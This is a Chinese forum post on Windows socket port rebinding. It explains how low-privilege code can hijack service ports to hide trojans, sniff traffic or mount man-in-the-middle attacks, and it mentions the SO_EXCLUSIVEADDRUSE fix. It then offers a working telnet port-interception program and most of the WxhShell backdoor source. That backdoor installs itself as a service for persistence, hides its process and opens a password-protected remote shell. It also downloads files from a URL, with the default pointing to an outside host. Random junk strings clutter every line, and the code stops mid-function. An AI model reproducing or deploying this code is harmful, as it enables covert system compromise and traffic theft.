社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18915阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y'Sxehx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4fw>(d(2  
E*>tFw&[  
  saddr.sin_family = AF_INET; D<5)i)J"  
h=YY> x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i68'|4o  
$4'I 3{$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xZPSoxu  
`rW{zQYM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )y'`C@ijI  
r0l ud&_9  
  这意味着什么?意味着可以进行如下的攻击: b|n%l5 1  
i;*c|ma1>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9c8zH{T_{  
*fW&-ic  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IyIh0B~i  
rAIX(2@cR_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8^&)A b  
lF5;K c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  REB8_H"  
?(>7v[=iT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -r]s #$  
D}vgXzD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6Z ~>d;&9  
YTQ|Hg6jO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D; H</5#Q  
vTQQ d@  
  #include ^2|gQ'7<  
  #include mJ<rzX  
  #include RW48>4f/+  
  #include    F*>:~'%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   uf\Hh -+p  
  int main() j#Ly!%dp  
  { 5|x&Z/hL  
  WORD wVersionRequested; 7!hL(k[  
  DWORD ret; e'(n ^_$nl  
  WSADATA wsaData; +`u]LOAyP=  
  BOOL val; >#*]/t  
  SOCKADDR_IN saddr; X<K[` =I  
  SOCKADDR_IN scaddr; sn2SDHY  
  int err; ?`AzgM[I  
  SOCKET s; 2,/("lV@0  
  SOCKET sc; f'\I52;FB  
  int caddsize; {}N*e"<O  
  HANDLE mt; Run)E*sf  
  DWORD tid;   9 }|Bs=q  
  wVersionRequested = MAKEWORD( 2, 2 ); oiJa1X  
  err = WSAStartup( wVersionRequested, &wsaData ); (<s7X$(]e  
  if ( err != 0 ) { R +P,kD?  
  printf("error!WSAStartup failed!\n"); %Ub"V\1  
  return -1; $%`OJf*k  
  } )9##mUt'}  
  saddr.sin_family = AF_INET; JxiLjvIq  
   f|WNPFQ$x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'SY jEhvw  
E0\ '  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qc|;qPj   
  saddr.sin_port = htons(23); E,shTh%&~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \yNjsG@,  
  { y7wy9+>l  
  printf("error!socket failed!\n"); I?J$";A  
  return -1; rl'YyO}2  
  } :IV4]`  
  val = TRUE; e%`gD*8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VvSD &r^qI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :RzcK>Gub=  
  { ]2QZ47  
  printf("error!setsockopt failed!\n"); o B_c6]K  
  return -1; 3%{XJV   
  } i pjl[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LT!.M m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -5>K pgXo\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K_Y0;!W  
H&[CSc  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A;1<P5lo  
  { YTL [z:k}  
  ret=GetLastError(); I"#jSazk  
  printf("error!bind failed!\n"); {Mp>+e@xx  
  return -1; yC =5/wy`  
  } ] ?#f=/  
  listen(s,2); Tcz67&c |W  
  while(1) gdSv) (  
  { Z$X2*k6PK  
  caddsize = sizeof(scaddr); 37?%xQ!  
  //接受连接请求 ?T7`E q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jMcCu$i7  
  if(sc!=INVALID_SOCKET) f";70}_  
  { r&A#h;EQX2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3lM mSKN  
  if(mt==NULL) g v&xC 6>  
  { 3*CF!Y%  
  printf("Thread Creat Failed!\n"); <\8dh(>  
  break; Yt++  ?  
  } @Rig@  
  } 93kSBF#  
  CloseHandle(mt);  h#^IT  
  } #AyM!   
  closesocket(s); @bmu4!"d  
  WSACleanup(); {[hV ['Awv  
  return 0; f5 wn`a~h  
  }   hx+a.N  
  DWORD WINAPI ClientThread(LPVOID lpParam) kMo;<Z  
  { L'J$jB5cP  
  SOCKET ss = (SOCKET)lpParam; mJc'oG-  
  SOCKET sc;  P%xk   
  unsigned char buf[4096]; 1N x%uz  
  SOCKADDR_IN saddr; 9j49#wG0"B  
  long num; $f_;>f2N  
  DWORD val; [`=|^2n?  
  DWORD ret; ?:s`}b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L=Dd`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5Jp@n .  
  saddr.sin_family = AF_INET; {ogGi/8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .oO_x>  
  saddr.sin_port = htons(23); =9i:R!,W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x/~V ZO  
  { ]Q-ON&/  
  printf("error!socket failed!\n"); #PVgx9T=_  
  return -1; ]r$S{<  
  } Nj %!N  
  val = 100; w)&]k#r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i:&Y{iPQp  
  { ZUQ1\Iw  
  ret = GetLastError(); LZ|G"5X[  
  return -1; H_ .@{8I  
  } }LM^>M%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KAjKv_6=g  
  { Fq&@dxN3  
  ret = GetLastError(); j{7_p$JM  
  return -1; W6K]jIQ  
  } KOV^wSwS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @0A0\2  
  { O1JGv8Nr  
  printf("error!socket connect failed!\n"); FGr0W|?v  
  closesocket(sc); _Jj|g9b  
  closesocket(ss); :V HJD  
  return -1; uB 6`e!Q  
  } tJUMLn?  
  while(1) 2"'0OQN0\  
  { TA`*]*O(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GTYGm  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D(~6h,=m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |LcN_ ,}6  
  num = recv(ss,buf,4096,0); 8/-GrdyE  
  if(num>0) \kzxt/Ow  
  send(sc,buf,num,0); G( nT.\  
  else if(num==0) I=D`:u\H  
  break; > 9JzYI^  
  num = recv(sc,buf,4096,0); _ Eq:Qbw#  
  if(num>0) \$VtwVQ,b  
  send(ss,buf,num,0); yh]#V"W3  
  else if(num==0) X3!btxa% t  
  break; Fng":28o  
  } *Mg=IEu-6[  
  closesocket(ss); jzI\Q{[m'  
  closesocket(sc); ,`P,))  
  return 0 ; X z2IAiAs'  
  } f>\?\!  
Zul]ekv  
EqUiC*u8{I  
========================================================== :QUZ7^u  
VaZS_ qGe:  
下边附上一个代码,,WXhSHELL gpHI)1i'H  
M_T$\z;,  
========================================================== [uc;M6o}?  
W2%(a0p  
#include "stdafx.h" 5;>M&qmN  
A8e b{qv  
#include <stdio.h> kzLj1Ix2  
#include <string.h> bNevHKS  
#include <windows.h> r7C  m  
#include <winsock2.h> yHCQY4/  
#include <winsvc.h> +TpM7QaL  
#include <urlmon.h> w{F8]N>0<  
cGsP0LkHC  
#pragma comment (lib, "Ws2_32.lib") cP$b>3O  
#pragma comment (lib, "urlmon.lib") G&/}P$  
+_Fsiu_b  
#define MAX_USER   100 // 最大客户端连接数 Ny*M{}E  
#define BUF_SOCK   200 // sock buffer C(}9  
#define KEY_BUFF   255 // 输入 buffer S?OK@UEJ  
s]5wzbFO  
#define REBOOT     0   // 重启 7T_g?!sdMh  
#define SHUTDOWN   1   // 关机 @s/;y VVq  
M4nM%qRGQ  
#define DEF_PORT   5000 // 监听端口 v_{`O'#j^  
'}P)iS2  
#define REG_LEN     16   // 注册表键长度 =H>rX 2k  
#define SVC_LEN     80   // NT服务名长度 #MHn J  
9 ?MOeOV8  
// 从dll定义API u 6 la  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gSZ NsiH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >kz5azV0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E0ud<'3<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /B|#GJ\\3  
]=WJ%p1l  
// wxhshell配置信息 KKGAk\X  
struct WSCFG { /'TzHO9_`  
  int ws_port;         // 监听端口 oxPOfI1%]  
  char ws_passstr[REG_LEN]; // 口令 U[U$1LSS  
  int ws_autoins;       // 安装标记, 1=yes 0=no +'uF3- +WY  
  char ws_regname[REG_LEN]; // 注册表键名 wCMsaW  
  char ws_svcname[REG_LEN]; // 服务名 g}ciG!0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xfkG&&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z ]o&^Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TkWS-=lNH0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xb8fV*RO8A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }YU#} Ip@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EVgn^,  
0Hff/~J  
}; mRj-$:}L  
rU<  H7U  
// default Wxhshell configuration x:xKlPGd  
struct WSCFG wscfg={DEF_PORT, |rW}s+Kcr  
    "xuhuanlingzhe", jt Q2vJ-  
    1, |A'8'z&q  
    "Wxhshell", R!*UU'se  
    "Wxhshell", bt%k;Z]  
            "WxhShell Service", BxG0vJN|  
    "Wrsky Windows CmdShell Service", aNn< NW  
    "Please Input Your Password: ", nLto=tNUO  
  1, gWy 2$)  
  "http://www.wrsky.com/wxhshell.exe", 87~. |nu  
  "Wxhshell.exe" ]hF[f|V  
    }; $'L(}gNv5  
$aE %W? \  
// 消息定义模块 lk6mu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D*vrQ9&# 8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p'KU!I }  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <%>Q$b5  
char *msg_ws_ext="\n\rExit."; 9m!4U2N,s  
char *msg_ws_end="\n\rQuit."; `9a%}PVQ-  
char *msg_ws_boot="\n\rReboot..."; [p}J=1S  
char *msg_ws_poff="\n\rShutdown..."; C~'}RM  
char *msg_ws_down="\n\rSave to "; T*k K-@.i  
Q!GB^ P  
char *msg_ws_err="\n\rErr!"; DI!NP;E  
char *msg_ws_ok="\n\rOK!"; Yi7`iC  
b'M g  
char ExeFile[MAX_PATH]; &1]}^/u2  
int nUser = 0; D?@330'P9C  
HANDLE handles[MAX_USER]; Fd5{pM3  
int OsIsNt; +Y)rv6}m  
d!G%n *  
SERVICE_STATUS       serviceStatus; NjYpNd?g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KSh<_`j  
3z\:{yl  
// 函数声明 0@*rp7   
int Install(void); 72~)bu  
int Uninstall(void); f]T#q@|lE  
int DownloadFile(char *sURL, SOCKET wsh); IH}?CZ@{?  
int Boot(int flag); U>:CX XHRt  
void HideProc(void); `U2Z(9le  
int GetOsVer(void); ^B?{X|U37  
int Wxhshell(SOCKET wsl); |5e/.T$  
void TalkWithClient(void *cs); NZ7a^xT_)  
int CmdShell(SOCKET sock); `+1*)bYxU  
int StartFromService(void); 3|9) A+,#  
int StartWxhshell(LPSTR lpCmdLine); =;dupz\7  
n U$Lp`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [5a`$yaQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &IXr*I  
:!g|0CF_  
// 数据结构和表定义 :V}8a!3h  
SERVICE_TABLE_ENTRY DispatchTable[] = ,6i67!lb  
{ c{|soc[#  
{wscfg.ws_svcname, NTServiceMain}, #(ANyU(#e  
{NULL, NULL} =ZzhH};aX  
}; r^WO$u|@i  
<X|"5/h  
// 自我安装 2x$\vL0  
int Install(void) (tyo4Tz1  
{ y'2K7\>E  
  char svExeFile[MAX_PATH]; $qg5m,1?  
  HKEY key; d /Zt}{  
  strcpy(svExeFile,ExeFile); il5WLi;{  
3_^w/-7`B  
// 如果是win9x系统,修改注册表设为自启动 5T8X2fS:  
if(!OsIsNt) { 1tQZyHc42;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kW6}57iV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 53BXz= k  
  RegCloseKey(key); CM9+h;Zm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &>L\unS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,o*b-Cv/  
  RegCloseKey(key); [A*vl9=  
  return 0; Gxm+5q  
    } P1Re7/  
  } 47`{ e_YP0  
} Tk.MtIs)V}  
else { *v l_3S5_  
dr,j~s  
// 如果是NT以上系统,安装为系统服务 3~s0ux[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6NJ La|&n  
if (schSCManager!=0) w V2 7  
{ 6tzZ j:y q  
  SC_HANDLE schService = CreateService Ujq)h:`  
  ( FE/&<g0,:  
  schSCManager, ;S,g&%N  
  wscfg.ws_svcname, AWD &K!  
  wscfg.ws_svcdisp, ={={ W  
  SERVICE_ALL_ACCESS, vQu) uml  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ou,W|<%  
  SERVICE_AUTO_START, nHyWb6  
  SERVICE_ERROR_NORMAL, G\jr^d\  
  svExeFile, 5XFhjVmEL  
  NULL, EU>@k{Qt  
  NULL, -_>c P  
  NULL, 8ru@ 8|r  
  NULL, F3';oyy  
  NULL rAP+nh ans  
  ); >4LX!^V"  
  if (schService!=0) -s:JD J*  
  { 5jx{O${u  
  CloseServiceHandle(schService); !l.Rv_o<O  
  CloseServiceHandle(schSCManager); z_A%>E4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pA+Qb.z5z  
  strcat(svExeFile,wscfg.ws_svcname); cf0em!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [h%_`8z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9Ki86  
  RegCloseKey(key); g6 7*Bs  
  return 0; "=4=Q\0PT  
    } Y$oBsg\v  
  } @OwU[\6fc}  
  CloseServiceHandle(schSCManager);  2HQHC]  
} pxDZ}4mOh  
} d=lZhqY  
tH>%`:  
return 1; Y*w< ~m  
} - VR u^l#  
2eyvY|:Q>  
// 自我卸载 mN@0lfk;  
int Uninstall(void) Pw$'TE}  
{ &,NHk9.aq  
  HKEY key; z^Oiwzo  
}c&Zv#iO6  
if(!OsIsNt) { ;&JMBn]J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N_/&xHw  
  RegDeleteValue(key,wscfg.ws_regname); u@==Ut  
  RegCloseKey(key); VMen:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ap;*qiNFQ  
  RegDeleteValue(key,wscfg.ws_regname); DrMcE31  
  RegCloseKey(key); ] +Gi~  
  return 0; [DjdR_9*I  
  } ;9u6]%hQTX  
} { " $2  
} mRQ F5W6  
else { .0\Wu+  
li/O&@g`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q?[k>fu0  
if (schSCManager!=0) Z~$&h  
{ {H"gp?Z-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7(gQ6?KsZ  
  if (schService!=0) i3(bg,  
  { d&R/fIm  
  if(DeleteService(schService)!=0) { I&>R]DV  
  CloseServiceHandle(schService); iW)FjDTP  
  CloseServiceHandle(schSCManager); vcV=9q8P1  
  return 0; Mc76)  
  } xwK<f6H!y  
  CloseServiceHandle(schService); Y*J`Wf(w  
  } To=1B`@-  
  CloseServiceHandle(schSCManager); v]_{oj_(-  
} +=O8t0y n  
} rl4daV&,U  
kw=+"U   
return 1; A:NsDEt  
} 7cvbYP\<lv  
sVh!5fby&  
// 从指定url下载文件 kFuaLEJi  
int DownloadFile(char *sURL, SOCKET wsh) gI\J sN  
{ 3+n&Ya1  
  HRESULT hr; \B2=E  
char seps[]= "/"; d@] 0 =Ax  
char *token; OmKT}D~ 4  
char *file; ShGR !r<  
char myURL[MAX_PATH]; &a48DCZ  
char myFILE[MAX_PATH]; }>)"!p;t_  
wPqIy}-  
strcpy(myURL,sURL); Qj 0@^LA  
  token=strtok(myURL,seps); |? r,W ~9`  
  while(token!=NULL) c#CX~  
  { ; [dcbyu@  
    file=token; !>t |vgW  
  token=strtok(NULL,seps); rJ!xzge;G  
  } UXIq>[2Z1  
.F 3v)  
GetCurrentDirectory(MAX_PATH,myFILE); 2v%~KV  
strcat(myFILE, "\\"); GHYgSS  
strcat(myFILE, file); hiP^*5h  
  send(wsh,myFILE,strlen(myFILE),0); N],A&}30  
send(wsh,"...",3,0); O\lt!p3F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q[dls_  
  if(hr==S_OK) chfj|Ce]x  
return 0; $ n 7dIE  
else i ]F,Y;&|  
return 1; /=Q7RJ@P  
D ZLSn Ax  
} s "*Cb*  
<VgnrqF6:  
// 系统电源模块 ze,HN Fg@>  
int Boot(int flag) ,|T   
{ ^pZ(^  
  HANDLE hToken; C/ ;f)k<  
  TOKEN_PRIVILEGES tkp; wl5!f|  
t^uX9yvx  
  if(OsIsNt) { 7,Z%rqf\)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G}f.fR Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H!oP!rzEo  
    tkp.PrivilegeCount = 1; y4M<L. RO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H> _%ZXL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YSv\T '3  
if(flag==REBOOT) { B6=8cf"i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HjV83S;  
  return 0; = #ocp  
} UY)YhXW  
else { 46}/C5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BnAia3z  
  return 0; Eiz\Nb  
} LFg<j1Gk`  
  } j: ]/AReOL  
  else { yrkd#m  
if(flag==REBOOT) { yfuvU2nVH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y;#p=,r  
  return 0; Isoqs(Oi  
} <qHwY.  
else { s u![ST(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wIi(p5*  
  return 0; m<"1*d~  
} `2S%l, >)#  
} M,cI0i  
MLa]s* ; d  
return 1; BflF*-s ^  
} P1z6 sG G  
!|Vjv}UO  
// win9x进程隐藏模块 u%h]k ,(E  
void HideProc(void) |h6)p;`gc  
{ qj/ 66ak  
Ct"h.rD]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L>pP3[~DV  
  if ( hKernel != NULL ) 6>bKlYl&9  
  { o+6Y/6Xp@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1VJE+3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,n&Dg58K  
    FreeLibrary(hKernel); G 7zfyw}W  
  } C"hc.A&4  
gKS^-X{x  
return; tTQ>pg1{qh  
} PjRKYa_U  
3tOnALv  
// 获取操作系统版本 QE-t v00  
int GetOsVer(void) S}*#$naK  
{ CEI#x~Oq  
  OSVERSIONINFO winfo; 0]i#1Si~@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a)`h*P5@  
  GetVersionEx(&winfo); .Jou09+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bumS>:  
  return 1; !m]76=@  
  else >I!dJH/gj  
  return 0; e2/[`k=7-  
} Yxi.A$g  
<0&];5 on  
// 客户端句柄模块 _K/h/!\n  
int Wxhshell(SOCKET wsl) @R`OAd y  
{ ?WUu@Z  
  SOCKET wsh; ]lm9D@HMC  
  struct sockaddr_in client; z2nDD6N  
  DWORD myID; F>!fu.Ws  
>Q"eaJxE!l  
  while(nUser<MAX_USER) kk^KaD4dA  
{ sA}=o.\j:  
  int nSize=sizeof(client); MIi:\m5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  q#MA A_  
  if(wsh==INVALID_SOCKET) return 1; }ZR3  
gzl_  "j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5n?fZ?6(  
if(handles[nUser]==0) 6;5}% B:#h  
  closesocket(wsh); (QqKttL:  
else =BNmuAY7  
  nUser++; #l{qb]n]  
  } *-` /A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m#'u;GP]k  
ii{5z;I]X  
  return 0; ,X9Y/S l  
} tPFV6n i  
L(AY)gB  
// 关闭 socket gIRFqEz@o  
void CloseIt(SOCKET wsh) TLO-$>h  
{ 8G(wYlxi  
closesocket(wsh); ;~xkT'  
nUser--; okr'=iDg  
ExitThread(0); o2F6K*u}  
} coU`2n/  
zXp{9P\c  
// 客户端请求句柄 LH0\SmhU  
void TalkWithClient(void *cs) 8 I,(\<Xv  
{ "64pVaT4  
H:p(C?tk{  
  SOCKET wsh=(SOCKET)cs; fa"eyBO50  
  char pwd[SVC_LEN]; E)>6}0P  
  char cmd[KEY_BUFF]; ]$KH78MTW  
char chr[1]; /5zzzaj {  
int i,j; kw?RUt0-V  
h:j-Xd$H+  
  while (nUser < MAX_USER) { a Se.]_  
vmW4a3  
if(wscfg.ws_passstr) { fZXd<Fg+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [=..#y!U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N[r@Y{  
  //ZeroMemory(pwd,KEY_BUFF); ygT,I+7\  
      i=0; /m9t2,KB  
  while(i<SVC_LEN) { /C3=-Hp  
&/Tx@j^.C  
  // 设置超时 = `70]%  
  fd_set FdRead; .RoO 6:T6  
  struct timeval TimeOut; P_Po g^  
  FD_ZERO(&FdRead); xR;Xx;  
  FD_SET(wsh,&FdRead); :'.-*Ew  
  TimeOut.tv_sec=8; G}] ZZ  
  TimeOut.tv_usec=0; 2t#9ih"9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -+?0|>Nh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qH"0?<$9  
N tg#-_]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0^{zq|%Q!  
  pwd=chr[0]; 0H;dA1  
  if(chr[0]==0xd || chr[0]==0xa) { b!_l(2  
  pwd=0; dp_J*8  
  break; oLBpG1Va  
  } .DCp)&m l;  
  i++; }RW4  
    } $F\&?B1.  
%Sxy!gGz%%  
  // 如果是非法用户,关闭 socket \h _hd%'G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ${e(#bvGZ  
} tHhY1[A8m  
6S ]GSS<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [yjC@docH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iY.~N#Q  
`M"b L|[R  
while(1) { "eGS~-DVK  
p7 2+:I  
  ZeroMemory(cmd,KEY_BUFF); E/AM<eN  
}{E//o:Ta  
      // 自动支持客户端 telnet标准   [xM07%:  
  j=0; SLZv`  
  while(j<KEY_BUFF) { qF( ]Ce  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vad" N  
  cmd[j]=chr[0];  <}B|4($  
  if(chr[0]==0xa || chr[0]==0xd) { 5F&i/8Ib  
  cmd[j]=0; ]P]lG-  
  break; c3oI\lU  
  } qY#*zx  
  j++; c|ZZ+2IYd  
    } _VR4 |)1g  
x{Gih 1  
  // 下载文件 zM[WbB+"m  
  if(strstr(cmd,"http://")) { [o|]>(tk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^k u~m5v  
  if(DownloadFile(cmd,wsh)) hFQC%N. '  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zad+)~@!tq  
  else | %6B#uy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yf_<o   
  } =fG(K!AQ  
  else { :UFf6T?  
w_A-:S 5C  
    switch(cmd[0]) { AGrGZ7p]  
  F fl`;M  
  // 帮助 => -b?F0(c  
  case '?': { "fz-h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y~U+MtSf#  
    break; %'^m6^g;  
  } .8.ivfmJh  
  // 安装 ) @))3  
  case 'i': { ?86h:9  
    if(Install()) X2sK<Qluql  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F"B!r-J  
    else ?Vt$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r+$ 0u~^  
    break; etGquW.  
    } ?V*>4A  
  // 卸载 MV=.(Zs  
  case 'r': { 5dYIL`  
    if(Uninstall()) & +%CC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z<ke!H  
    else oJXZ}>>iT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tDIzn`$ z  
    break; B-M|}T  
    } hhYo9jTHW  
  // 显示 wxhshell 所在路径 |a^ydwb  
  case 'p': { QZ9 )uI  
    char svExeFile[MAX_PATH]; $OjsaE %  
    strcpy(svExeFile,"\n\r"); i.K}(bo;b  
      strcat(svExeFile,ExeFile); ]T zN*6o  
        send(wsh,svExeFile,strlen(svExeFile),0); }yB@?  
    break; !j7b7<wR  
    } zhYE#hv2  
  // 重启 ojyG|Y  
  case 'b': { %!YsSk,   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  ocL  
    if(Boot(REBOOT)) Z < uwqA  
